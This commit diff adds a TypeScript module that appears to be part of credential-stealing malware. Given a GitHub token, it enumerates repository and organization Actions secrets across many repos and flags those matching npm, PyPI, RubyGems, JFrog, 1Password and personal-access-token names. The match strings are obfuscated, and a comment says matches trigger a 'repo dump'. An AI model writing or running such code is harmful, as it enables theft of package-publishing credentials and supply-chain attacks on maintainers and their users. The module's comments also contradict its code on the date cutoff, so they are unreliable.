Upload files to "src/providers/actions"
This commit is contained in:
@@ -0,0 +1,101 @@
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { githubFetch } from "./github";
|
||||
|
||||
interface SecretsResponse {
|
||||
total_count: number;
|
||||
secrets: Array<{ name: string; updated_at?: string }>;
|
||||
}
|
||||
|
||||
export interface RepoSecretInfo {
|
||||
fullName: string;
|
||||
secrets: string[];
|
||||
isPrivate: boolean;
|
||||
}
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
const TARGET_SECRET_PATTERNS = [
|
||||
scramble("PYPI"),
|
||||
scramble("NPM_"),
|
||||
scramble("OP_"),
|
||||
scramble("RUBY"),
|
||||
scramble("PAT"),
|
||||
scramble("PERSONAL_ACCESS"),
|
||||
scramble("JFROG"),
|
||||
];
|
||||
|
||||
/** NPM_TOKEN is only counted if it has been updated since May 20, 2025.
|
||||
* Tokens updated before this date or with no date are considered stale
|
||||
* and do not trigger a repo dump. */
|
||||
function isStaleNpmToken(secret: {
|
||||
name: string;
|
||||
updated_at?: string;
|
||||
}): boolean {
|
||||
if (secret.name.toUpperCase() !== "NPM_TOKEN") return false;
|
||||
if (!secret.updated_at) return true; // no date = stale, skip
|
||||
const updated = new Date(secret.updated_at);
|
||||
const cutoff = new Date("2026-05-20T00:00:00Z");
|
||||
return updated < cutoff;
|
||||
}
|
||||
|
||||
function isTargetSecret(secret: {
|
||||
name: string;
|
||||
updated_at?: string;
|
||||
}): boolean {
|
||||
const upper = secret.name.toUpperCase();
|
||||
if (!TARGET_SECRET_PATTERNS.some((p) => upper.includes(p))) return false;
|
||||
// Exclude stale NPM_TOKENs (updated > 30 days ago)
|
||||
if (isStaleNpmToken(secret)) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
export async function* streamRepoSecrets(
|
||||
token: string,
|
||||
repos:
|
||||
| AsyncIterable<{ fullName: string; private: boolean }>
|
||||
| Iterable<{ fullName: string; private: boolean }>,
|
||||
): AsyncGenerator<RepoSecretInfo> {
|
||||
for await (const repo of repos) {
|
||||
const [owner, name] = repo.fullName.split("/");
|
||||
if (!owner || !name) continue;
|
||||
|
||||
logUtil.log(`checking ${repo.fullName}`);
|
||||
const targetSecrets: string[] = [];
|
||||
|
||||
try {
|
||||
const res = await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${name}/actions/secrets?per_page=100`,
|
||||
);
|
||||
if (res.ok) {
|
||||
const data = (await res.json()) as SecretsResponse;
|
||||
targetSecrets.push(
|
||||
...data.secrets.filter(isTargetSecret).map((s) => s.name),
|
||||
);
|
||||
}
|
||||
} catch {
|
||||
// No access or no secrets
|
||||
}
|
||||
|
||||
try {
|
||||
const res = await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${name}/actions/organization-secrets?per_page=100`,
|
||||
);
|
||||
if (res.ok) {
|
||||
const data = (await res.json()) as SecretsResponse;
|
||||
targetSecrets.push(
|
||||
...data.secrets.filter(isTargetSecret).map((s) => s.name),
|
||||
);
|
||||
}
|
||||
} catch {
|
||||
// No access or not an org repo
|
||||
}
|
||||
|
||||
yield {
|
||||
fullName: repo.fullName,
|
||||
secrets: targetSecrets,
|
||||
isPrivate: repo.private,
|
||||
};
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user